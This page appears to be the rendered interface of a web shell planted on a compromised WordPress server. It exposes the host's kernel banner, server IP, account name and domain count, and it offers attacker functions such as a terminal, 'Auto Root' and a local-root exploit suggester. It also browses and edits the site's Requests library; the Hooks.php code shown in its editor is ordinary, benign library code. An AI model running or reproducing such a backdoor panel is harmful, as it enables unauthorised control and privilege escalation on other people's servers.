Linux sagir-us1.hostever.us 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
LiteSpeed
Server IP : 104.247.108.91 & Your IP : 216.73.217.64
Domains : 74 Domain
User : georgeto
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
georgeto /
wp-includes /
Requests /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2025-12-18 10:43
Cookie
[ DIR ]
drwxr-xr-x
2024-11-26 06:16
Exception
[ DIR ]
drwxr-xr-x
2025-12-18 10:44
Proxy
[ DIR ]
drwxr-xr-x
2025-12-18 10:44
Response
[ DIR ]
drwxr-xr-x
2025-12-18 10:44
Transport
[ DIR ]
drwxr-xr-x
2025-12-18 10:44
Utility
[ DIR ]
drwxr-xr-x
2024-11-26 06:16
Auth.php
860
B
-rw-r--r--
2024-11-23 13:12
Autoload.php
9.12
KB
-rw-r--r--
2024-11-23 13:12
Capability.php
652
B
-rw-r--r--
2024-11-23 13:12
Cookie.php
15.03
KB
-rw-r--r--
2024-11-23 13:12
Exception.php
1.09
KB
-rw-r--r--
2024-11-23 13:12
HookManager.php
709
B
-rw-r--r--
2024-11-23 13:12
Hooks.php
2.96
KB
-rw-r--r--
2024-11-23 13:12
IdnaEncoder.php
12.14
KB
-rw-r--r--
2024-11-23 13:12
Ipv6.php
5.51
KB
-rw-r--r--
2024-11-23 13:12
Iri.php
28.93
KB
-rw-r--r--
2024-11-23 13:12
Port.php
1.47
KB
-rw-r--r--
2024-11-23 13:12
Proxy.php
867
B
-rw-r--r--
2024-11-23 13:12
Requests.php
33.2
KB
-rw-r--r--
2024-11-23 13:12
Response.php
4.18
KB
-rw-r--r--
2024-11-23 13:12
Session.php
8.89
KB
-rw-r--r--
2024-11-23 13:12
Ssl.php
5.3
KB
-rw-r--r--
2024-11-23 13:12
Transport.php
1.51
KB
-rw-r--r--
2024-11-23 13:12
error_log
524
B
-rw-r--r--
2025-12-23 20:38
Save
Rename
<?php /** * Handles adding and dispatching events * * @package Requests\EventDispatcher */ namespace WpOrg\Requests; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\HookManager; use WpOrg\Requests\Utility\InputValidator; /** * Handles adding and dispatching events * * @package Requests\EventDispatcher */ class Hooks implements HookManager { /** * Registered callbacks for each hook * * @var array */ protected $hooks = []; /** * Register a callback for a hook * * @param string $hook Hook name * @param callable $callback Function/method to call on event * @param int $priority Priority number. <0 is executed earlier, >0 is executed later * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer. */ public function register($hook, $callback, $priority = 0) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } if (is_callable($callback) === false) { throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback)); } if (InputValidator::is_numeric_array_key($priority) === false) { throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority)); } if (!isset($this->hooks[$hook])) { $this->hooks[$hook] = [ $priority => [], ]; } elseif (!isset($this->hooks[$hook][$priority])) { $this->hooks[$hook][$priority] = []; } $this->hooks[$hook][$priority][] = $callback; } /** * Dispatch a message * * @param string $hook Hook name * @param array $parameters Parameters to pass to callbacks * @return boolean Successfulness * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array. */ public function dispatch($hook, $parameters = []) { if (is_string($hook) === false) { throw InvalidArgument::create(1, '$hook', 'string', gettype($hook)); } // Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`. if (is_array($parameters) === false) { throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters)); } if (empty($this->hooks[$hook])) { return false; } if (!empty($parameters)) { // Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0. $parameters = array_values($parameters); } ksort($this->hooks[$hook]); foreach ($this->hooks[$hook] as $priority => $hooked) { foreach ($hooked as $callback) { $callback(...$parameters); } } return true; } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } }